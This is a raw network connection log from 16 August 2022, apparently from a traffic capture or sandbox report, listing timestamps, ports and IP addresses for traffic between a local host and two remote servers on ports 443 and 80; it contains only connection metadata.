Aug 16, 2022 11:44:46.892667055 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.892714024 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.893366098 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.893448114 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.893456936 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.893511057 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.894293070 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.894368887 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.894376993 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.894431114 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.895104885 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.895179033 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.895188093 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.895241022 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.895965099 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.896069050 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.896079063 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.896131992 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.896653891 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.896759987 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.896768093 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.896814108 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.897511005 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.897625923 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.897634983 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.897680998 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.898349047 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.898441076 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.898449898 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.898495913 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.898503065 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:46.898577929 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.898868084 CEST	49773	443	192.168.2.5	142.250.181.238
Aug 16, 2022 11:44:46.898885012 CEST	443	49773	142.250.181.238	192.168.2.5
Aug 16, 2022 11:44:47.049940109 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.049973011 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.049999952 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050017118 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050024986 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050041914 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050051928 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050080061 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050088882 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050103903 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050115108 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050131083 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050148964 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050156116 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050180912 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050182104 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050193071 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050210953 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050215960 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050236940 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050255060 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050261021 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050287008 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050297976 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050312042 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050335884 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050340891 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050360918 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050384998 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050390959 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050410032 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050412893 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050435066 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050446987 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050460100 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050482988 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050483942 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050501108 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050508976 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050527096 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050544024 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050581932 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050606966 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050621986 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050647974 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050653934 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050687075 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050705910 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050730944 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050745010 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050755024 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050777912 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050780058 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050801039 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050806999 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050822973 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050849915 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050849915 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050893068 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050905943 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050945044 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050947905 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.050971985 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.050988913 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.051009893 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.051014900 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.051043034 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.051054955 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.051069021 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.051093102 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.051109076 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.051117897 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.051145077 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.051177025 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.051218033 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.088273048 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.088351965 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.089955091 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.289830923 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.289865017 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.289890051 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.289915085 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.289940119 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.289961100 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.289966106 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.289993048 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.290016890 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.290023088 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.290047884 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.290047884 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.290072918 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.290081024 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.290096045 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.290111065 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.290147066 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.291727066 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.328305006 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.328448057 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.328592062 CEST	49767	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.330076933 CEST	49774	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.537761927 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.537863016 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.537887096 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.537899971 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.537909985 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.537931919 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.537935019 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.537941933 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.537949085 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.537971973 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.538017988 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.538047075 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.538074970 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.538099051 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.538119078 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.538146019 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.538177013 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.538197041 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.538197041 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.538228035 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.538255930 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.538258076 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.538275003 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.538285017 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.538310051 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.538316011 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.538348913 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.538361073 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.541084051 CEST	49770	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.542399883 CEST	49775	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.544073105 CEST	80	49774	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.544174910 CEST	49774	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.544715881 CEST	49774	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.601327896 CEST	80	49767	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.756170034 CEST	80	49775	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.756295919 CEST	49775	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.756957054 CEST	49775	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.759974957 CEST	80	49774	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.768058062 CEST	80	49774	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.768116951 CEST	80	49774	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.768168926 CEST	80	49774	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.768229961 CEST	80	49774	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.768239021 CEST	49774	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.768275023 CEST	49774	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.768280983 CEST	80	49774	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.768313885 CEST	49774	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.768342018 CEST	49774	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.777354002 CEST	49774	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.780055046 CEST	49776	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.817935944 CEST	80	49770	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.972095013 CEST	80	49775	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.980190039 CEST	80	49775	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.980236053 CEST	80	49775	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.980258942 CEST	80	49775	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.980279922 CEST	80	49775	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.980299950 CEST	80	49775	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:47.980424881 CEST	49775	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.980458021 CEST	49775	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.982642889 CEST	49775	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:47.984095097 CEST	49777	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.012906075 CEST	80	49776	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.016359091 CEST	49776	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.016834021 CEST	49776	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.036118031 CEST	80	49774	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.212236881 CEST	80	49777	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.214308977 CEST	49777	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.214796066 CEST	49777	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.244056940 CEST	80	49775	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.252645969 CEST	80	49776	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.256242037 CEST	80	49776	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.256263971 CEST	80	49776	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.256274939 CEST	80	49776	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.256397963 CEST	49776	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.261213064 CEST	49776	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.262799025 CEST	49778	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.442994118 CEST	80	49777	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.443495989 CEST	80	49777	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.443537951 CEST	80	49777	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.443567038 CEST	80	49777	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.443597078 CEST	80	49777	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.443631887 CEST	80	49777	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.443661928 CEST	80	49777	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.443660021 CEST	49777	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.443690062 CEST	80	49777	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.443694115 CEST	49777	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.443697929 CEST	49777	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.443717957 CEST	80	49777	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.443732977 CEST	49777	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.443747997 CEST	80	49777	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.443761110 CEST	49777	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.443772078 CEST	80	49777	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.443798065 CEST	49777	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.443818092 CEST	49777	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.447179079 CEST	49777	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.489712954 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.489994049 CEST	49778	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.490734100 CEST	49778	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.492594004 CEST	80	49776	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.679821968 CEST	80	49777	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.679887056 CEST	80	49777	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.679929972 CEST	80	49777	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.679986000 CEST	49777	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.680038929 CEST	49777	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.681201935 CEST	49777	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.683238983 CEST	49779	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.721568108 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.721596003 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.721613884 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.721626997 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.721642971 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.721661091 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.721678019 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.721704006 CEST	49778	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.721739054 CEST	49778	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.721756935 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.721772909 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.721801996 CEST	49778	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.721829891 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.721842051 CEST	49778	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.721860886 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.721905947 CEST	49778	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.909102917 CEST	80	49777	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.916625023 CEST	80	49779	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.916734934 CEST	49779	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.917267084 CEST	49779	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.953713894 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.953754902 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.953783989 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.953813076 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.953840971 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.953869104 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.953891993 CEST	49778	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.953897953 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.953924894 CEST	49778	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.953926086 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.953927994 CEST	49778	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.953929901 CEST	49778	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.953948021 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.953982115 CEST	49778	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.954027891 CEST	49778	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.954072952 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.954099894 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.954119921 CEST	49778	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.954128027 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.954153061 CEST	49778	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.954158068 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.954174995 CEST	49778	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.954183102 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:48.954201937 CEST	49778	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.954240084 CEST	49778	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.954513073 CEST	49778	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:48.955611944 CEST	49780	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:49.148576975 CEST	80	49779	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:49.156605959 CEST	80	49779	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:49.156646967 CEST	80	49779	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:49.156666040 CEST	80	49779	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:49.156683922 CEST	80	49779	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:49.156740904 CEST	49779	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:49.156774998 CEST	49779	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:49.157694101 CEST	49779	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:49.158993006 CEST	49781	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:49.176297903 CEST	80	49780	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:49.176453114 CEST	49780	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:49.176968098 CEST	49780	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:49.185627937 CEST	80	49778	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:49.376298904 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:49.376488924 CEST	49781	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:49.377000093 CEST	49781	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:49.388453960 CEST	80	49779	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:49.400263071 CEST	80	49780	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:49.592741966 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.488473892 CEST	80	49780	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.488512039 CEST	80	49780	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.488564968 CEST	49780	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.488603115 CEST	49780	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.488620043 CEST	80	49780	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.488678932 CEST	49780	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.488784075 CEST	80	49780	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.488843918 CEST	49780	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.488922119 CEST	49780	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.488946915 CEST	49780	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.489959002 CEST	49782	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.496345043 CEST	80	49780	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.496383905 CEST	80	49780	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.496421099 CEST	49780	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.496454000 CEST	49780	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.496575117 CEST	80	49780	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.496634007 CEST	49780	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.496689081 CEST	80	49780	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.496752024 CEST	49780	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.496969938 CEST	80	49780	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.497033119 CEST	49780	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.497235060 CEST	80	49780	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.497313023 CEST	49780	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.704437971 CEST	80	49782	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.704524040 CEST	49782	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.704997063 CEST	49782	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:50.712445021 CEST	80	49780	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:50.712506056 CEST	80	49780	187.45.240.69	192.168.2.5
